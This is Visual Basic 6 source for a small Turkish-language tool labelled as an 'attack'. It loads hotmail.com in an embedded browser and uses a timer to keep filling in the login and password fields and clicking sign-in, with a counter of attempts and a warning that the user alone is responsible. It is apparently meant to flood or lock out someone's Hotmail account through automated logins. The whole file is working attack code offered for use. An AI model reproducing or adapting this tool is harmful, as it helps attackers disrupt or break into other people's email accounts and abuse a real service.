Private Sub c_StatusTextChange(ByVal Text As String)

End Sub

Private Sub Command1_Click()
WebBrowser1.Visible = True
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Command2.Enabled = True
Label1.Caption = "Saldırı Başlatılmıştır !"
MsgBox "Saldırıya başladınız. Bu saldırının sorumlusu sadece sizsiniz", vbExclamation, "Uyarı!"
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Text3.Text = "0"
Command1.Enabled = True
Label1.Caption = "Saldırı Durdurulmuştur"
End Sub


Private Sub Form_Load()
On Error Resume Next
WebBrowser1.Navigate "http://www.hotmail.com"
Text3.Text = "0"
Text3.Enabled = False
Text3.Locked = True
Timer1.Enabled = False
Timer2.Enabled = False
End Sub

Private Sub Label5_Click()
Shell "explorer.exe http://www.vb-coder.org"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
WebBrowser1.Document.All.Item("login").Value = Text1.Text
WebBrowser1.Document.All.Item("passwd").Value = Text2.Text
WebBrowser1.Document.All.Item("SI").Click
End Sub
Private Sub Timer2_Timer()
Text3.Text = Text3.Text + 1
End Sub